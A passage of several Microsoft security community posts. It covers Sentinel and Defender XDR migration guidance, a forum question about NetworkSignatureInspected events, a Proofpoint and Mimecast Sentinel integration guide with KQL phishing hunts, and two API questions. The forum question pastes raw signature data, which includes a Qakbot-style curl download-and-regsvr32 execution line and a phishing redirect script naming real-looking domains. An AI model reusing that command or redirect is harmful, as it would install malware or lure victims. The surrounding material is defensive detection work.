tenant-level Global Administrator or Security Administrator roles. Data lands in CopilotActivity. Ingestion costs apply based on Sentinel workspace settings or Sentinel data lake tier pricing. Configure multi-tenant content distribution (expanded content types) Microsoft documents: Navigate to “Content Distribution” in Defender multi-tenant management portal. Create/select a distribution profile; choose content types; select content; choose up to 100 workspaces per tenant; save and monitor sync results. Limitations: automation rules that trigger a playbook cannot currently be distributed; alert tuning rules limited to built-in rules (for now). Prerequisites: access to more than one tenant via delegated access; subscription to Microsoft 365 E5 or Office E5. Prepare for Defender XDR connector–driven changes Microsoft explicitly warns that incident creation rules are turned off for Defender XDR–integrated products to avoid duplicates and suggests compensating controls using Defender portal alert tuning or automation rules. It also warns that incident titles will be governed by Defender XDR correlation and recommends avoiding “incident name” conditions in automation rules (tags recommended). Common pitfalls and “what breaks” A strong engineering article should include a “what breaks” section, grounded in Microsoft’s own lists: Schema and field semantics drift: The “standalone vs XDR connector” schema differences doc calls out CompromisedEntity behavior differences, field mapping changes, and alert filtering differences (for example, Defender for Cloud informational alerts not ingested; Entra ID below High not ingested by default). Automation delays and unsupported actions post-onboarding: Transition guidance states automation rules might run up to 10 minutes after alert/incident changes due to forwarding, and that some playbook actions (like adding/removing alerts from incidents) are not supported after onboarding—breaking certain playbook patterns. Incident synchronization boundaries: incidents created in Sentinel via API/Logic App playbook/manual Azure portal aren’t synchronized to Defender portal (per transition doc). Advanced hunting differences after data lake enablement: auxiliary log tables are no longer available in Defender Advanced hunting once data lake is enabled; they must be accessed via data lake exploration KQL experiences. CI/CD failures from API retirement: repository connection create/manage tooling that calls older API versions must migrate by June 1, 2026 to avoid action failures. Performance and cost considerations Microsoft’s cost model is now best explained using tiering and retention: Sentinel data lake tier is designed for cost-effective long retention up to 12 years, with analytics-tier data mirrored to the lake tier as a single copy. For Defender XDR threat hunting data, Microsoft states it is available in analytics tier for 30 days by default; retaining beyond that and moving beyond free windows drives ingestion and/or storage costs depending on whether you extend analytics retention or store longer in lake tier. Ingesting data directly to data lake tier incurs ingestion, storage, and processing costs; retaining in lake beyond analytics retention incurs storage costs. Ingestion-time transformations are a first-class cost lever, and Microsoft explicitly frames filtering as a way to reduce ingestion costs in Log Analytics. Sample deployment checklist Phase Task Acceptance criteria (engineering) Governance Confirm target portal strategy and dates Internal cutover plan aligns with March 31, 2027 retirement; CI/CD deadlines tracked Identity/RBAC Validate roles for onboarding + automation Required Entra roles + Sentinel roles assigned; propagation delays accounted for Data lake readiness Decide whether to onboard to Sentinel data lake CMK policy alignment confirmed; billing subscription owner identified; region implications reviewed Defender XDR integration Choose integration mode and test incident sync Incidents visible within expected latency; bi-directional sync fields behave as expected Schema regression Validate queries/rules against XDR connector schema KQL regression tests pass; CompromisedEntity and filtering changes handled Connector modernization Inventory connectors; plan CCF / CCF Push transitions Function-based connectors migration plan; legacy custom data collection API retirement addressed Automation Pilot AI playbook generator + enhanced triggers Integration Profiles created; generated playbooks reviewed; enhanced trigger scopes correct Multi-tenant operations Configure content distribution if needed Distribution profiles sync reliably; limitations documented; rollback/override plan exists Outage-proofing Update Sentinel repos tooling for API retirement All source-control actions use recommended API versions before June 1, 2026 Use cases and customer impact Detection and response scenarios that map to the new announcements Copilot governance and misuse detection The Copilot connector’s published record types enable detections for scenarios such as unauthorized plugin/workspace/prompt-book operations and anomalous Copilot interactions. Data is explicitly positioned for analytic rules, workbooks, automation, and threat hunting within Sentinel and Sentinel data lake. Long-retention hunting on high-volume Defender telemetry (lake-first approach) Lake-tier ingestion for Advanced Hunting tables (GA) is explicitly framed around scale, cost containment, and retrospective investigations beyond “near-real-time” windows, while keeping 30-day availability in the Advanced Hunting tables themselves. Faster automation authoring and customization (SOAR engineering productivity) Microsoft positions the playbook generator as eliminating rigid templates and enabling dynamic API calls across Microsoft and third-party tools via Integration Profiles, with preview-customer feedback claiming faster automation development (vendor-stated). Multi-tenant SOC standardization (MSSP / large enterprise) Multi-tenant content distribution is explicitly designed to replicate detections, automation, and dashboards across tenants, reducing drift and accelerating onboarding, while keeping execution local to target tenants. Measurable benefit dimensions (how to discuss rigorously) Most Microsoft sources in this announcement set are descriptive (not benchmark studies). A rigorous article should therefore describe what you can measure, and label any numeric claims as vendor-stated. Recommended measurable dimensions grounded in the features as documented: Time-to-detect / time-to-ingest: CCF Push is positioned as real-time, event-driven delivery vs polling-based ingestion. Time-to-triage / time-to-investigate: UEBA layers (Anomalies + Behaviors) are designed to summarize and prioritize activity, with explicit scoring models and tables for query enrichment. Incident queue pressure: Defender XDR grouping/enrichment is explicitly described as reducing SOC queue size and time to resolve. Cost-per-retained-GB and query cost: tiering rules and retention windows define cost tradeoffs; ingestion-time transformations reduce cost by dropping unneeded rows/columns. Vendor-stated metrics: Microsoft’s March 2026 “What’s new” roundup references an external buyer’s guide and reports “44% reduction in total cost of ownership” and “93% faster deployment times” as outcomes for organizations using Sentinel (treat as vendor marketing unless corroborated by an independent study in your environment). Comparison of old vs new Microsoft capabilities and competitor XDR positioning Old vs new (Microsoft) Capability “Older” operating model (common patterns implied by docs) “New” model emphasized in announcements/release notes Primary SOC console Split experience (Azure portal Sentinel + Defender portal XDR) Defender portal as the primary unified SecOps surface; Azure portal sunset Incident correlation engine Sentinel correlation features (e.g., Fusion in Azure portal) Defender XDR correlation engine replaces Fusion for incident creation after onboarding; incident provider always “Microsoft XDR” in Defender portal mode Automation authoring Logic Apps playbooks + automation rules Adds AI playbook generator (Python) + Enhanced Alert Trigger, with explicit constraints/limits Custom ingestion Data Collector API legacy patterns + manual DCR/DCE plumbing CCF Push built on Logs Ingestion API; emphasizes automated provisioning and transformation support Long retention Primarily analytics-tier retention strategies Data lake tier supports up to 12 years; lake-tier ingestion for AH tables GA; explicit tier/cost model Graph-driven investigations Basic incident graphs Blast radius analysis + hunting graph experiences built on Sentinel data lake + graph Competitor XDR offerings (high-level, vendor pages) The table below is intentionally “high-level” and marks details as unspecified unless explicitly stated on the cited vendor pages. Vendor Positioning claims (from official vendor pages) Notes / unspecified items CrowdStrike Falcon Insight XDR is positioned as “AI-native XDR” for “endpoint and beyond,” emphasizing detection/response and threat intelligence. Data lake architecture, ingestion transformation model, and multi-tenant content distribution specifics are unspecified in cited sources. Palo Alto Networks Cortex XDR is positioned as integrated endpoint security with AI-driven operations and broader visibility; vendor site highlights outcome metrics in customer stories and “AI-driven endpoint security.” Lake/graph primitives, connector framework model, and schema parity details are unspecified in cited sources. SentinelOne Singularity XDR is positioned as AI-powered response with automated workflows across the environment; emphasizes machine-speed incident response. Specific SIEM-style retention tiering and documented ingestion-time transformations are unspecified in cited sources.
NetworkSignatureInspected
Hi, Whilst looking into something, I was thrown off by a line in a device timeline export, with ActionType of NetworkSignatureInspected, and the content. I've read this article, so understand the basics of the function: Enrich your advanced hunting experience using network layer signals from Zeek I popped over to Sentinel to widen the search as I was initially concerned, but now think it's expected behaviour as I see the same data from different devices. Can anyone provide any clarity on the contents of AdditionalFields, where the ActionType is NetworkSignatureInspected, references for example CVE-2021-44228: ${token}/sendmessage`,{method:"post",%90%00%02%10%00%00%A1%02%01%10*%A9Cj)|%00%00$%B7%B9%92I%ED%F1%91%0B\%80%8E%E4$%B9%FA%01.%EA%FA<title>redirecting...</title><script>window.location.href="https://uyjh8.phiachiphe.ru/bjop8dt8@0uv0/#%90%02%1F@%90%02%1F";%90%00!#SCPT:Trojan:BAT/Qakbot.RVB01!MTB%00%02%00%00%00z%0B%01%10%8C%BAUU)|%00%00%CBw%F9%1Af%E3%B0?\%BE%10|%CC%DA%BE%82%EC%0B%952&&curl.exe--output%25programdata%25\xlhkbo\ff\up2iob.iozv.zmhttps://neptuneimpex.com/bmm/j.png&&echo"fd"&®svr32"%90%00!#SCPT:Trojan:HTML/Phish.DMOH1!MTB%00%02%00%00%00{%0B%01%10%F5):[)|%00%00v%F0%ADS%B8i%B2%D4h%EF=E"#%C5%F1%FFl>J<scripttype="text/javascript">window.location="https:// Defender reports no issues on the device and logs (for example DeviceNetworkEvents or CommonSecurityLog) don't return any hits for the sites referenced. Any assistance with rationalising this would be great, thanks.Integrating Proofpoint and Mimecast Email Security with Microsoft Sentinel
Microsoft Sentinel can ingest rich email security telemetry from Proofpoint and Mimecast to power advanced phishing detection. The Proofpoint On Demand (POD) Email Security and Proofpoint Targeted Attack Protection (TAP) connectors pull threat logs (quarantines, spam, phishing attempts) and user click data into Sentinel. Similarly, the Mimecast Secure Email Gateway connector ingests detailed mail flow and targeted-threat logs (attachment/URL scans, impersonation events). These integrations use Azure-hosted ingestion (via Logic Apps or Azure Functions) and the new Codeless Connector framework to call vendor APIs on a schedule. The result is a consolidated dataset in Sentinel’s Log Analytics, enabling correlated alerting and hunting across email, identity, and endpoint signals. Figure: Phishing emails are processed by Mimecast’s gateway and Proofpoint POD/TAP services. Security logs (delivery/quarantine events, malicious attachments/links, user clicks) flow into Microsoft Sentinel. In Sentinel, these mail signals are correlated with identity (Azure AD), endpoint (Defender) and network telemetry for end-to-end phishing detection. Proofpoint POD (Email Protection) Connector The Proofpoint POD connector ingests core email protection logs. It creates two tables, ProofpointPODMailLog_CL and ProofpointPODMessage_CL. These logs include per-message metadata (senders, recipients, subject, message size, timestamps), threat scores (spamScore, phishScore, malwareScore, impostorScore), and attachment details (number of attachments, names, hash values and sandbox verdicts). Quarantine actions are recorded (quarantine folder/rule) and malicious indicators (URL or file hash) and campaign IDs are tagged in the threatsInfoMap field. For example, each ProofpointPODMessage_CL record may carry a sender_s (sender email domain hashed), recipient list, subject, and any detected threat type (Phish/Malware/Spam/Impostor) with associated threat hash or URL. Deployment: Proofpoint POD uses Sentinel’s codeless connector (an Azure Function behind the scenes). You must provide Proofpoint API credentials (Cluster ID and API token) in the connector UI. The connector periodically calls the Proofpoint SIEM API to fetch new log events (typically in 1–2 hour batches). The data lands in the above tables. (Older custom logic-app approaches similarly parse JSON output from the /v2/siem/messages endpoints.) Proofpoint TAP (Targeted Attack Protection) Connector Proofpoint TAP provides user-click and message-delivery events. Its connector creates four tables: ProofPointTAPMessagesDeliveredV2_CL, ProofPointTAPMessagesBlockedV2_CL, ProofPointTAPClicksPermittedV2_CL, and ProofPointTAPClicksBlockedV2_CL. The message tables report emails with detected threats (URL or attachment defense) that were delivered or blocked by TAP. They include the same fields as POD (message GUID, sender, recipients, subject, threat campaign ID, scores, attachments info). The click tables log when users click on URLs: each record has the URL, click timestamp (clickTime), the user’s IP (clickIP), user-agent, the message GUID, and the threat ID/category. These fields allow you to see who clicked which malicious link and when. As the connector description notes, these logs give “visibility into Message and Click events in Microsoft Sentinel” for hunting. Deployment: The TAP connector also uses the codeless framework. You supply a TAP API service principal and secret (proofpoint SIEM API credentials) in the Sentinel content connector. The function app calls TAP’s /v2/siem/clicks/blocked, /permitted, /messages/blocked, and /delivered endpoints. The Proofpoint SIEM API limits queries to 1-hour windows and 7-day history, with no paging (all events in the interval are returned). (A Logic App approach could also be used, as shown in the Tech Community blog: one HTTP GET per event type and a JSON Parse before sending to Log Analytics.) Mimecast Secure Email Gateway Connector The Mimecast connector ingests the Secure Email Gateway (SEG) logs and targeted-threat (TTP) logs. Inbound, outbound and internal mail events from the Mimecast MTA (receipt, processing, delivery stages) are pulled via the API. Typical fields include the unique message ID (aCode), sender, recipient, subject, attachment count/names, and the policy actions or holds (e.g. spam quarantine). For example, the Mimecast “Process” log shows AttCnt, AttNames, and if the message was held (Hld) for review. Delivery logs include the success/failure and TLS details. In addition, Mimecast TTP logs are collected: URL Protect logs (when a user clicks a blocked URL) include the clicked URL (url), category (urlCategory), sender/recipient, and block reason. Impersonation Protect logs capture spoofing detections (e.g. if an internal name is impersonated), with fields like Sender, Recipient, Definition and Action (hold/quarantine). Attachment Protect logs record malicious file detections (filename, hash, threat type). Deployment: Like Proofpoint, Mimecast’s connector uses Azure Functions via the Sentinel content hub. You install the Mimecast solution, open the connector page, then enter Azure app credentials and Mimecast API keys (API Application ID/Key and Access/Secret for the service account). As shown in the deployment guide, you must provide the Azure Subscription, Resource Group, Log Analytics Workspace and the Azure Client (App) ID, Tenant ID and Object ID of the admin performing the setup. On the Mimecast side, you supply the API Base URL (regional), App ID/Secret and user Access/Secret. The connector creates a Function App that polls Mimecast’s SIEM APIs on a cron schedule (default every 30 minutes). You can optionally specify a start date for backfilling up to 7 days of logs. The default tables are MimecastSIEM_CL (for email flow logs) and MimecastDLP_CL (for DLP/TTP events), though custom names can be set. Ingestion Considerations Data Latency: All these connectors are pull-based and typically run on a schedule (often 30–60 minutes). For example, the Proofpoint POD docs note hourly log increments, and Mimecast logs are aggregated every 30 minutes. Expect a delay of up to an hour or more from event occurrence to Sentinel ingestion. Schema Nuances: The APIs often return nested arrays and optional fields. For instance, the Proofpoint blog warns that some JSON fields can be null or vary in type, so the parse schema should account for all possibilities. Similarly, Mimecast logs come in pipe-delimited or JSON format, with values sometimes empty (e.g. no attachments). In KQL, use tostring() or parse_json() on the raw _CL columns, and mv-expand on any multivalue fields (like message parts or threat lists). Table Names: Use the connector’s tables as listed. For Proofpoint: ProofpointPODMailLog_CL and ProofpointPODMessage_CL; for TAP: ProofPointTAPMessagesDeliveredV2_CL, ProofPointTAPMessagesBlockedV2_CL, ProofPointTAPClicksPermittedV2_CL, ProofPointTAPClicksBlockedV2_CL. For Mimecast SEG/TTP: MimecastSIEM_CL (seg logs) and MimecastDLP_CL (TTP logs). API Behavior: The Proofpoint TAP API has no paging. Be aware of timezones (Proofpoint uses UTC) and use the Sentinal ingestion TimeGenerated or event timestamp fields for binning. Detection Engineering and Correlation To detect phishing effectively, we correlate these email logs with identity, endpoint and intel data: Identity (Azure AD): Mail logs contain recipient addresses and (hashed) sender user parts. A common tactic is to correlate SMTP recipients or sender domains with Azure AD user records. For example, join TAP clicks by recipient to the user’s UPN. The Proofpoint logs also include the clicker’s IP (clickIP); we can match that to Azure AD sign-in logs or VPN logs to find which device/location clicked a malicious link. Likewise, anomalous Azure AD sign-ins (impossible travel, MFA failure) after a suspicious email can strengthen the case. Endpoints (Defender): Once a user clicks a bad link or opens a malicious attachment (captured in TAP or Mimecast logs), watch for follow-on behaviors. For instance, use Sentinel’s DeviceSecurityEvents or DeviceProcessEvents to see if that user’s machine launched unusual processes. The threatID or URL hash from email events can be looked up in Defender’s file data. Correlate by username (if available) or IP: if the email log shows a link click from IP X, see if any endpoint alerts or logon events occurred from X around the same time. As the Mimecast integration touts, this enables “correlation across Mimecast events, cloud, endpoint, and network data”. Threat Intelligence: Use Sentinel’s ThreatIntelligenceIndicator tables or Microsoft’s TI feeds to tag known bad URLs/domains in the email logs. For example, join ProofPointTAPClicksBlockedV2_CL on the clicked url against ThreatIntelligenceIndicator (type=URL) to automatically flag hits. Proofpoint’s logs already classify threats (malware/phish) and provide a threatID; one can enrich that with external intel (e.g. check if the hash appears in TI feeds). Mimecast’s URL logs include a urlCategory field, which can be mapped to known malicious categories. Automated playbooks can also pull Intel: e.g. use Sentinel’s TI REST API or Azure Sentinel watchlists containing phishing domains to annotate events. In summary, a robust detection strategy might look like: (1) Identify malicious email events (high phish scores, quarantines, URL clicks). (2) Correlate these events by user with Azure AD logs (did the user log in from a new IP after a phish click?). (3) Correlate with endpoint alerts (Defender found malware on that device). (4) Augment with threat intelligence lookups on URLs and attachments from the email logs. By linking the Proofpoint/Mimecast signals to identity and endpoint events, one can detect the full attack chain from email compromise to endpoint breach. KQL Query Here are representative Kusto queries for common phishing scenarios (adapt table/field names as needed): Malicious URL Click Detection: Identify users who clicked known-malicious URLs. For example, join TAP click logs to TI indicators:This flags any permitted click where the URL matches a known threat indicator. Alternatively, aggregate by domain: let TI = ThreatIntelligenceIndicator | where Active == true and _EntityType == "URL"; ProofPointTAPClicksPermittedV2_CL | where url_s != "" | project ClickTime=TimeGenerated, Recipient=recipient_s, URL=url_s, SenderIP=senderIP_s | join kind=inner TI on $left.URL == TI._Value | project ClickTime, Recipient, URL, Description=TI.Description This flags any permitted click where the URL matches a known threat indicator. Alternatively, aggregate by domain: ProofPointTAPClicksPermittedV2_CL | extend clickedDomain = extract(@"https?://([^/]+)", 1, url_s) | summarize ClickCount=count() by clickedDomain | where clickedDomain has "maliciousdomain.com" or clickedDomain has "phish.example.com" Quarantine Spike (Burst) Detection: Detect sudden spikes in quarantined messages. For example, using POD mail log:This finds hours with an unusually high number of held (quarantined) emails, which may indicate a phishing campaign. You could similarly use ProofPointTAPMessagesBlockedV2_CL. ProofpointPODMailLog_CL | where action_s == "Held" | summarize HeldCount=count() by bin(TimeGenerated, 1h) | order by TimeGenerated desc | where HeldCount > 100 Targeted User Phishing: Find if a specific user received multiple malicious emails. E.g., for user email address removed for privacy reasons:This lists recent phish attempts targeting Username. You might also join with TAP click logs to see if she clicked anything. ProofpointPODMessage_CL | where recipient has "email address removed for privacy reasons" | where array_length(threatsInfoMap) > 0 and threatsInfoMap_classification_s == "Phish" | project TimeGenerated, sender_s, subject_s, threat=threatsInfoMap_threat_s Campaign-Level Analysis: Group emails by Proofpoint campaign ID to see scope of each campaign:This shows each campaign ID with how many unique recipients were hit and one example subject. Combining TAP and POD tables on GUID_s or QID_s can further link click events back to the originating message/campaign. ProofpointPODMessage_CL | mv-expand threatsInfoMap | summarize Recipients=make_set(recipient), Count=dcount(recipient) by CampaignID=threatsInfoMap_campaignId_s | project CampaignID, RecipientCount=Count, Recipients, SampleSubject=any(subject_s) Each query can be refined (for instance, filtering only within a recent time window) and embedded in Sentinel Analytics rules or hunting. The key is using the connectors’ fields – URLs, sender/recipient addresses, campaign IDs – to pivot between email data and other security signals.
XDR advanced hunting region specific endpoints
Hi, I am exploring XDR advanced hunting API to fetch data specific to Microsoft Defender for Endpoint tenants. The official documentation (https://learn.microsoft.com/en-us/defender-xdr/api-advanced-hunting) mentions to switch to Microsoft Graph advanced hunting API. I had below questions related to it: 1. To fetch the region specific(US , China, Global) token and Microsoft Graph service root endpoints(https://learn.microsoft.com/en-us/graph/deployments#app-registration-and-token-service-root-endpoints ) , is the recommended way to fetch the OpenID configuration document (https://learn.microsoft.com/en-us/entra/identity-platform/v2-protocols-oidc#fetch-the-openid-configuration-document) for a tenant ID and based on the response, the region specific SERVICE/TOKEN endpoints could be fetched? Since using it, there is no need to maintain different end points for tenants in different regions. And do we use the global service URL https://login.microsoftonline.com to fetch OpenID config document for a tenantID in any region? 2. As per the documentation, Microsoft Graph Advanced hunting API is not supported in China region (https://learn.microsoft.com/en-us/graph/api/security-security-runhuntingquery?view=graph-rest-1.0&tabs=http). In this case, is it recommended to use Microsoft XDR Advanced hunting APIs(https://learn.microsoft.com/en-us/defender-xdr/api-advanced-hunting) to support all region tenants(China, US, Global)?
Bug using streaming API related to new type of event 'CloudProcessEvents'
Hi community, recently i've been trying to send XDR events/logs to a storage account via streaming API option. The problem comes when this bad request appears: This problem is related with a new schema that have been added recently to XDR Advanced Hunting. As you can see the new type of event 'CloudProcessEvents' is not supported via API but it doesnt appear in type of event at the configuration to unselect it. Can someone help?
